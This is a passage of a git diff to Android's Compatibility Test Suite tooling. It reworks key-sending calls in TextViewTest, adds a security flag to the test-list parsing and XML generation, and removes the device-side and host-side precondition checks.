         <activity android:name="android.widget.cts.TextViewCtsActivity"
-            android:label="TextViewCtsActivity"
-            android:windowSoftInputMode="stateAlwaysHidden">
+            android:label="TextViewCtsActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewTest.java b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
index a4c27f4..12818d3 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewTest.java
@@ -27,7 +27,6 @@
 import android.content.pm.PackageManager;
 import android.content.res.ColorStateList;
 import android.content.res.Resources.NotFoundException;
-import android.cts.util.KeyEventUtil;
 import android.cts.util.PollingCheck;
 import android.cts.util.WidgetTestUtils;
 import android.graphics.Bitmap;
@@ -120,7 +119,6 @@
             + "this text, I would love to see the kind of devices you guys now use!";
     private static final long TIMEOUT = 5000;
     private CharSequence mTransformedText;
-    private KeyEventUtil mKeyEventUtil;
 
     public TextViewTest() {
         super("com.android.cts.widget", TextViewCtsActivity.class);
@@ -137,7 +135,6 @@
             }
         }.run();
         mInstrumentation = getInstrumentation();
-        mKeyEventUtil = new KeyEventUtil(mInstrumentation);
     }
 
     /**
@@ -260,7 +257,7 @@
         assertSame(movementMethod, mTextView.getMovementMethod());
         assertEquals(selectionStart, Selection.getSelectionStart(mTextView.getText()));
         assertEquals(selectionEnd, Selection.getSelectionEnd(mTextView.getText()));
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_SHIFT_LEFT, KeyEvent.KEYCODE_ALT_LEFT,
+        sendKeys(KeyEvent.KEYCODE_SHIFT_LEFT, KeyEvent.KEYCODE_ALT_LEFT,
                 KeyEvent.KEYCODE_DPAD_UP);
         // the selection has been removed.
         assertEquals(selectionStart, Selection.getSelectionStart(mTextView.getText()));
@@ -279,7 +276,7 @@
         assertNull(mTextView.getMovementMethod());
         assertEquals(selectionStart, Selection.getSelectionStart(mTextView.getText()));
         assertEquals(selectionEnd, Selection.getSelectionEnd(mTextView.getText()));
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_SHIFT_LEFT, KeyEvent.KEYCODE_ALT_LEFT,
+        sendKeys(KeyEvent.KEYCODE_SHIFT_LEFT, KeyEvent.KEYCODE_ALT_LEFT,
                 KeyEvent.KEYCODE_DPAD_UP);
         // the selection will not be changed.
         assertEquals(selectionStart, Selection.getSelectionStart(mTextView.getText()));
@@ -1273,7 +1270,7 @@
         initTextViewForTyping();
 
         // Type some text.
-        mKeyEventUtil.sendString(mTextView, "abc");
+        mInstrumentation.sendStringSync("abc");
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // Precondition: The cursor is at the end of the text.
@@ -1305,9 +1302,8 @@
         initTextViewForTyping();
 
         // Simulate deleting text and undoing it.
-        mKeyEventUtil.sendString(mTextView, "xyz");
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL, KeyEvent
-                .KEYCODE_DEL);
+        mInstrumentation.sendStringSync("xyz");
+        sendKeys(KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL);
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // Precondition: The text was actually deleted.
@@ -1437,8 +1433,8 @@
         initTextViewForTyping();
 
         // Create two undo operations, an insert and a delete.
-        mKeyEventUtil.sendString(mTextView, "xyz");
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL);
+        mInstrumentation.sendStringSync("xyz");
+        sendKeys(KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_DEL);
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // Calling setText() clears both undo operations, so undo doesn't happen.
@@ -1459,7 +1455,7 @@
         initTextViewForTyping();
 
         // Type some text. This creates an undo entry.
-        mKeyEventUtil.sendString(mTextView, "abc");
+        mInstrumentation.sendStringSync("abc");
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // Undo the typing to create a redo entry.
@@ -1478,7 +1474,7 @@
         initTextViewForTyping();
 
         // Type some text.
-        mKeyEventUtil.sendString(mTextView, "abc");
+        mInstrumentation.sendStringSync("abc");
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // Programmatically append some text.
@@ -1501,7 +1497,7 @@
         initTextViewForTyping();
 
         // Type some text.
-        mKeyEventUtil.sendString(mTextView, "abc");
+        mInstrumentation.sendStringSync("abc");
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // Directly modify the underlying Editable to insert some text.
@@ -1550,7 +1546,7 @@
         mTextView.addTextChangedListener(new ConvertToSpacesTextWatcher());
 
         // Type some text.
-        mKeyEventUtil.sendString(mTextView, "abc");
+        mInstrumentation.sendStringSync("abc");
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // TextWatcher altered the text.
@@ -1588,7 +1584,7 @@
         initTextViewForTyping();
 
         // Type some text.
-        mKeyEventUtil.sendString(mTextView, "abc");
+        mInstrumentation.sendStringSync("abc");
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // Pressing Control-Z triggers undo.
@@ -1611,7 +1607,7 @@
         initTextViewForTyping();
 
         // Type some text to create an undo operation.
-        mKeyEventUtil.sendString(mTextView, "abc");
+        mInstrumentation.sendStringSync("abc");
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // Parcel and unparcel the TextView.
@@ -1622,7 +1618,7 @@
         mInstrumentation.waitForIdleSync();
 
         // Delete a character to create a new undo operation.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
+        sendKeys(KeyEvent.KEYCODE_DEL);
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 assertEquals("ab", mTextView.getText().toString());
@@ -1649,8 +1645,8 @@
         initTextViewForTyping();
 
         // Type and delete to create two new undo operations.
-        mKeyEventUtil.sendString(mTextView, "a");
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
+        mInstrumentation.sendStringSync("a");
+        sendKeys(KeyEvent.KEYCODE_DEL);
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // Empty the undo stack then parcel and unparcel the TextView. While the undo
@@ -1664,8 +1660,8 @@
         mInstrumentation.waitForIdleSync();
 
         // Create two more undo operations.
-        mKeyEventUtil.sendString(mTextView, "b");
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
+        mInstrumentation.sendStringSync("b");
+        sendKeys(KeyEvent.KEYCODE_DEL);
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 // Verify undo still works.
@@ -1900,7 +1896,7 @@
 
         assertEquals(errorText, mTextView.getError().toString());
 
-        mKeyEventUtil.sendString(mTextView, "a");
+        mInstrumentation.sendStringSync("a");
         // a key event that will not change the TextView's text
         assertEquals("", mTextView.getText().toString());
         // The icon and error message will not be reset to null
@@ -1916,7 +1912,7 @@
         });
         mInstrumentation.waitForIdleSync();
 
-        mKeyEventUtil.sendString(mTextView, "1");
+        mInstrumentation.sendStringSync("1");
         // a key event cause changes to the TextView's text
         assertEquals("1", mTextView.getText().toString());
         // the error message and icon will be cleared.
@@ -1942,13 +1938,13 @@
 
         assertSame(expected, mTextView.getFilters());
 
-        mKeyEventUtil.sendString(mTextView, "a");
+        mInstrumentation.sendStringSync("a");
         // the text is capitalized by InputFilter.AllCaps
         assertEquals("A", mTextView.getText().toString());
-        mKeyEventUtil.sendString(mTextView, "b");
+        mInstrumentation.sendStringSync("b");
         // the text is capitalized by InputFilter.AllCaps
         assertEquals("AB", mTextView.getText().toString());
-        mKeyEventUtil.sendString(mTextView, "c");
+        mInstrumentation.sendStringSync("c");
         // 'C' could not be accepted, because there is a length filter.
         assertEquals("AB", mTextView.getText().toString());
 
@@ -2145,11 +2141,11 @@
     public void testPressKey() {
         initTextViewForTyping();
 
-        mKeyEventUtil.sendString(mTextView, "a");
+        mInstrumentation.sendStringSync("a");
         assertEquals("a", mTextView.getText().toString());
-        mKeyEventUtil.sendString(mTextView, "b");
+        mInstrumentation.sendStringSync("b");
         assertEquals("ab", mTextView.getText().toString());
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
+        sendKeys(KeyEvent.KEYCODE_DEL);
         assertEquals("a", mTextView.getText().toString());
     }
 
@@ -2461,7 +2457,7 @@
         assertSame(PasswordTransformationMethod.getInstance(),
                 mTextView.getTransformationMethod());
 
-        mKeyEventUtil.sendKeys(mTextView, "H E 2*L O");
+        sendKeys("H E 2*L O");
         mActivity.runOnUiThread(new Runnable() {
             public void run() {
                 mTextView.append(" ");
diff --git a/tools/Android.mk b/tools/Android.mk
index 8cb90db..8377036 100644
--- a/tools/Android.mk
+++ b/tools/Android.mk
@@ -19,13 +19,12 @@
 TF_JAR := $(HOST_OUT_JAVA_LIBRARIES)/tradefed-prebuilt.jar
 CTS_TF_JAR := $(HOST_OUT_JAVA_LIBRARIES)/cts-tradefed.jar
 CTS_TF_EXEC_PATH ?= $(HOST_OUT_EXECUTABLES)/cts-tradefed
-PRECONDITIONS_APK := $(CTS_TESTCASES_OUT)/CtsPreconditionsApp.apk
 
 cts_prebuilt_jar := $(HOST_OUT)/cts/android-cts/tools/cts-prebuilt.jar
 $(cts_prebuilt_jar): PRIVATE_TESTS_DIR := $(HOST_OUT)/cts/android-cts/repository/testcases
 $(cts_prebuilt_jar): PRIVATE_PLANS_DIR := $(HOST_OUT)/cts/android-cts/repository/plans
 $(cts_prebuilt_jar): PRIVATE_TOOLS_DIR := $(HOST_OUT)/cts/android-cts/tools
-$(cts_prebuilt_jar): $(JUNIT_HOST_JAR) $(HOSTTESTLIB_JAR) $(TF_JAR) $(CTS_TF_JAR) $(CTS_TF_EXEC_PATH) $(ADDITIONAL_TF_JARS) $(PRECONDITIONS_APK) | $(ACP) $(HOST_OUT_EXECUTABLES)/adb
+$(cts_prebuilt_jar): $(JUNIT_HOST_JAR) $(HOSTTESTLIB_JAR) $(TF_JAR) $(CTS_TF_JAR) $(CTS_TF_EXEC_PATH) $(ADDITIONAL_TF_JARS) | $(ACP) $(HOST_OUT_EXECUTABLES)/adb
 	mkdir -p $(PRIVATE_TESTS_DIR)
 	mkdir -p $(PRIVATE_PLANS_DIR)
 	mkdir -p $(PRIVATE_TOOLS_DIR)
diff --git a/tools/cts-java-scanner-doclet/src/com/android/cts/javascannerdoclet/CtsJavaScannerDoclet.java b/tools/cts-java-scanner-doclet/src/com/android/cts/javascannerdoclet/CtsJavaScannerDoclet.java
index 78d4249..439bd95 100644
--- a/tools/cts-java-scanner-doclet/src/com/android/cts/javascannerdoclet/CtsJavaScannerDoclet.java
+++ b/tools/cts-java-scanner-doclet/src/com/android/cts/javascannerdoclet/CtsJavaScannerDoclet.java
@@ -88,6 +88,7 @@
             for (; clazz != null; clazz = clazz.superclass()) {
                 for (MethodDoc method : clazz.methods()) {
                     int timeout = -1;
+                    boolean security = false;
                     if (isJUnit3) {
                         if (!method.name().startsWith("test")) {
                             continue;
@@ -106,6 +107,9 @@
                                     }
                                 }
                             }
+                            if (atype.equals("com.android.cts.util.SecurityTest")) {
+                                security = true;
+                            }
                         }
                     } else {
                         /* JUnit4 */
@@ -130,11 +134,14 @@
                     }
 
                     writer.append("test:");
+                    writer.append(method.name());
                     if (timeout >= 0) {
-                        writer.append(method.name()).println(":" + timeout);
-                    } else {
-                        writer.println(method.name());
+                        writer.append(":" + timeout);
                     }
+                    if (security) {
+                        writer.append(":" + "security");
+                    }
+                    writer.println();
                 }
             }
         }
diff --git a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/Test.java b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/Test.java
index 93b838b..f785264 100644
--- a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/Test.java
+++ b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/Test.java
@@ -19,10 +19,12 @@
 public class Test implements Comparable<Test> {
     private String mName;
     private int mTimeout;
+    private boolean mSecurity;
 
-    public Test(String name, int timeout) {
+    public Test(String name, int timeout, boolean security) {
         mName = name;
         mTimeout = timeout;
+        mSecurity = security;
     }
 
     public String getName() {
@@ -33,6 +35,10 @@
         return mTimeout;
     }
 
+    public boolean isSecurity() {
+        return mSecurity;
+    }
+
     @Override
     public int compareTo(Test another) {
         return getName().compareTo(another.getName());
diff --git a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestCase.java b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestCase.java
index ed09b8e..817db7e 100644
--- a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestCase.java
+++ b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestCase.java
@@ -34,8 +34,8 @@
         return mName;
     }
 
-    public void addTest(String testName, int timeout) {
-        mTests.add(new Test(testName, timeout));
+  public void addTest(String testName, int timeout, boolean security) {
+        mTests.add(new Test(testName, timeout, security));
     }
 
     public Collection<Test> getTests() {
diff --git a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestListParser.java b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestListParser.java
index c77d1a0..1045c30 100644
--- a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestListParser.java
+++ b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/TestListParser.java
@@ -27,7 +27,7 @@
  * suite:android.holo.cts
  * case:HoloTest
  * test:testHolo
- * test:testHoloDialog[:timeout_value]
+ * test:testHoloDialog[:timeout_value][:security]
  */
 class TestListParser {
 
@@ -53,10 +53,20 @@
                     currentCase = handleCase(currentSuite, value);
                 } else if ("test".equals(key)) {
                     int timeout = -1;
-                    if (tokens.length == 3) {
-                        timeout = Integer.parseInt(tokens[2]);
+                    boolean security = false;
+                    if (tokens.length >= 3) {
+                        // security will always come second if both are present
+                        if(tokens[2].equals("security")) {
+                            security = true;
+                        }
+                        else {
+                            timeout = Integer.parseInt(tokens[2]);
+                        }
+                        if(tokens.length == 4) {
+                            security = true;
+                        }
                     }
-                    handleTest(currentCase, value, timeout);
+                    handleTest(currentCase, value, timeout, security);
                 }
             }
         } finally {
@@ -99,7 +109,7 @@
         return testCase;
     }
 
-    private void handleTest(TestCase testCase, String test, int timeout) {
-        testCase.addTest(test, timeout);
+    private void handleTest(TestCase testCase, String test, int timeout, boolean security) {
+      testCase.addTest(test, timeout, security);
     }
 }
diff --git a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/XmlGenerator.java b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/XmlGenerator.java
index 328b855..60b43c9 100644
--- a/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/XmlGenerator.java
+++ b/tools/cts-xml-generator/src/com/android/cts/xmlgenerator/XmlGenerator.java
@@ -215,6 +215,9 @@
             if (test.getTimeout() >= 0) {
                 writer.append(" timeout=\"" + test.getTimeout() + "\"");
             }
+            if (test.isSecurity()) {
+                writer.append(" security=\"true\"");
+            }
             writer.println(" />");
 
             nameCollector.delete(nameCollector.length() - test.getName().length() - 1,
diff --git a/tools/tradefed-host/preconditions/Android.mk b/tools/tradefed-host/preconditions/Android.mk
deleted file mode 100644
index bcd7b49..0000000
--- a/tools/tradefed-host/preconditions/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsPreconditionsApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tools/tradefed-host/preconditions/AndroidManifest.xml b/tools/tradefed-host/preconditions/AndroidManifest.xml
deleted file mode 100644
index 02b3534..0000000
--- a/tools/tradefed-host/preconditions/AndroidManifest.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.preconditions">
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:label="CTS device-side preconditions test"
-        android:targetPackage="com.android.cts.preconditions" >
-    </instrumentation>
-</manifest>
diff --git a/tools/tradefed-host/preconditions/src/com/android/cts/preconditions/PreconditionsTest.java b/tools/tradefed-host/preconditions/src/com/android/cts/preconditions/PreconditionsTest.java
deleted file mode 100644
index f1576a3..0000000
--- a/tools/tradefed-host/preconditions/src/com/android/cts/preconditions/PreconditionsTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.preconditions;
-
-import android.app.KeyguardManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.os.Environment;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-/**
- * An AndroidTestCase class to verify that device-side preconditions are met for CTS
- */
-public class PreconditionsTest extends AndroidTestCase {
-
-    private static final String TAG = "PreconditionsTest";
-
-    /**
-     * Test if device has no screen lock
-     * @throws Exception
-     */
-    public void testScreenUnlocked() throws Exception {
-        PackageManager pm = getContext().getPackageManager();
-        if (pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
-                || pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
-                || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            Log.i(TAG, "Skipping screen lock precondition for this device type");
-            return; // do not test for unlocked screen on devices with no screen lock
-        }
-        KeyguardManager km =
-                (KeyguardManager) getContext().getSystemService(Context.KEYGUARD_SERVICE);
-        assertFalse("Device must have screen lock disabled", km.isDeviceSecure());
-    }
-
-    /**
-     * Test if device has accessible external storage
-     * @throws Exception
-     */
-    public void testExternalStoragePresent() throws Exception {
-        String state = Environment.getExternalStorageState();
-        assertTrue("Device must have writable external storage mounted in order to run CTS",
-                Environment.MEDIA_MOUNTED.equals(state));
-    }
-
-}
diff --git a/tools/tradefed-host/res/config/cts.xml b/tools/tradefed-host/res/config/cts.xml
index a5665be..416b400 100644
--- a/tools/tradefed-host/res/config/cts.xml
+++ b/tools/tradefed-host/res/config/cts.xml
@@ -19,8 +19,6 @@
     <option name="enable-root" value="false" />
     <build_provider class="com.android.cts.tradefed.build.CtsBuildProvider" />
     <device_recovery class="com.android.tradefed.device.WaitDeviceRecovery" />
-    <target_preparer class="com.android.cts.tradefed.targetprep.DevicePreconditionPreparer" />
-    <target_preparer class="com.android.cts.tradefed.targetprep.HostPreconditionPreparer" />
     <test class="com.android.cts.tradefed.testtype.CtsTest" />
     <logger class="com.android.tradefed.log.FileLogger" />
     <result_reporter class="com.android.cts.tradefed.result.CtsXmlResultReporter" />
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/build/CtsBuildProvider.java b/tools/tradefed-host/src/com/android/cts/tradefed/build/CtsBuildProvider.java
index b3bb214..e4c5b02 100644
--- a/tools/tradefed-host/src/com/android/cts/tradefed/build/CtsBuildProvider.java
+++ b/tools/tradefed-host/src/com/android/cts/tradefed/build/CtsBuildProvider.java
@@ -31,7 +31,7 @@
     @Option(name="cts-install-path", description="the path to the cts installation to use")
     private String mCtsRootDirPath = System.getProperty("CTS_ROOT");
 
-    public static final String CTS_BUILD_VERSION = "6.0_r21";
+    public static final String CTS_BUILD_VERSION = "6.0_r201704s";
     public static final String CTS_PACKAGE = "com.android.cts.tradefed.testtype";
 
     /**
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/DevicePreconditionPreparer.java b/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/DevicePreconditionPreparer.java
deleted file mode 100644
index 1c0f193..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/DevicePreconditionPreparer.java
+++ /dev/null
@@ -1,224 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.targetprep;
-
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.cts.tradefed.testtype.Abi;
-import com.android.ddmlib.Log;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.build.IFolderBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.OptionClass;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.result.InputStreamSource;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.LogDataType;
-import com.android.tradefed.result.TestSummary;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.InstrumentationTest;
-import com.android.tradefed.targetprep.BuildError;
-import com.android.tradefed.targetprep.ITargetPreparer;
-import com.android.tradefed.targetprep.TargetSetupError;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.ConcurrentHashMap;
-
-/**
- * A {@link ITargetPreparer} that performs precondition checks on the device-side for CTS.
- * <p/>
- * This class instruments an APK containing tests verifying that the device meets CTS
- * preconditions. At present, the APK contains tests to ensure that the device's screen is not
- * locked, and that the device's external storage is present and writable. The test lives under
- * //cts/tools/tradefed-host/preconditions, and can be modified to perform further checks and tasks
- * from the device-side.
- */
-@OptionClass(alias="device-precondition-preparer")
-public class DevicePreconditionPreparer implements ITargetPreparer {
-
-    /* This option also exists in the HostPreconditionPreparer */
-    @Option(name = "skip-preconditions",
-            description = "Whether to skip precondition checks and automation")
-    protected boolean mSkipPreconditions = false;
-
-    /* Constants for the InstrumentationTest */
-    private static final String APK_NAME = "CtsPreconditionsApp.apk";
-    private static final String PACKAGE_NAME = "com.android.cts.preconditions";
-    private static final String RUNNER_NAME = "android.support.test.runner.AndroidJUnitRunner";
-
-    private static final String LOG_TAG = DevicePreconditionPreparer.class.getSimpleName();
-
-    /* Map used to track test failures */
-    private ConcurrentHashMap<TestIdentifier, String> testFailures = new ConcurrentHashMap<>();
-
-    /* Helper that logs a message with LogLevel.WARN */
-    private static void printWarning(String msg) {
-        LogUtil.printLog(Log.LogLevel.WARN, LOG_TAG, msg);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setUp(ITestDevice device, IBuildInfo buildInfo) throws TargetSetupError,
-            BuildError, DeviceNotAvailableException {
-        if (mSkipPreconditions) {
-            return; // skipping device-side preconditions
-        }
-
-        try {
-            if (!instrument(device, buildInfo)) {
-                printWarning("Not all device-side preconditions met, " +
-                        "CTS tests may fail as a result.");
-            }
-        } catch (FileNotFoundException e) {
-            throw new TargetSetupError(
-                    String.format("Couldn't find %s to instrument", APK_NAME), e);
-        }
-    }
-
-    /* Instruments the APK on the device, and logs precondition test failures, if any are found.
-     * Returns true if all tests pass, and otherwise returns false */
-    private boolean instrument(ITestDevice device, IBuildInfo buildInfo)
-            throws DeviceNotAvailableException, FileNotFoundException {
-        ITestInvocationListener listener = new PreconditionPreparerListener();
-        CtsBuildHelper mCtsBuild = CtsBuildHelper.createBuildHelper(buildInfo);
-        File apkFile = mCtsBuild.getTestApp(APK_NAME); // get the APK file with the CtsBuildHelper
-        InstrumentationTest instrTest = new InstrumentationTest();
-        instrTest.setDevice(device);
-        instrTest.setInstallFile(apkFile);
-        instrTest.setPackageName(PACKAGE_NAME);
-        instrTest.setRunnerName(RUNNER_NAME);
-        instrTest.run(listener);
-        boolean success = true;
-        if (!testFailures.isEmpty()) {
-            success = false; // at least one precondition has failed
-            for (TestIdentifier test : testFailures.keySet()) {
-                String trace = testFailures.get(test);
-                printWarning(String.format(
-                        "Precondition test %s failed.\n%s", test.getTestName(), trace));
-            }
-        }
-        return success;
-    }
-
-    /**
-     * The PreconditionPreparerListener is an implementation of ITestInvocationListener
-     * that adds entries to the ConcurrentHashMap 'testFailures' of the outer class whenever
-     * a test fails. The listener also logs information if the test run fails, for debugging
-     * purposes.
-     */
-    public class PreconditionPreparerListener implements ITestInvocationListener {
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void testFailed(TestIdentifier test, String trace) {
-            testFailures.put(test, trace);
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void testRunFailed(String errorMessage) {
-            printWarning(String.format(
-                    "Device-side preconditions test run failed: %s", errorMessage));
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void testEnded(TestIdentifier test, Map<String, String> metrics) {}
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void invocationStarted(IBuildInfo buildInfo) {}
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void testLog(String dataName, LogDataType dataType, InputStreamSource dataStream) {}
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void invocationEnded(long elapsedTime) {}
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void invocationFailed(Throwable cause) {}
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public TestSummary getSummary() {
-            return null;
-        }
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void testRunStarted(String runName, int testCount) {}
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void testStarted(TestIdentifier test) {}
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void testAssumptionFailure(TestIdentifier test, String trace) {}
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void testIgnored(TestIdentifier test) {}
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void testRunStopped(long elapsedTime) {}
-
-        /**
-         * {@inheritDoc}
-         */
-        @Override
-        public void testRunEnded(long elapsedTime, Map<String, String> runMetrics) {}
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/HostPreconditionPreparer.java b/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/HostPreconditionPreparer.java
deleted file mode 100644
index 2b85660..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/HostPreconditionPreparer.java
+++ /dev/null
@@ -1,545 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.targetprep;
-
-import com.android.ddmlib.IDevice;
-import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.OptionClass;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.targetprep.BuildError;
-import com.android.tradefed.targetprep.ITargetPreparer;
-import com.android.tradefed.targetprep.TargetSetupError;
-import com.android.tradefed.util.FileUtil;
-import com.android.tradefed.util.ZipUtil;
-
-import java.awt.Dimension;
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.InputStream;
-import java.io.IOException;
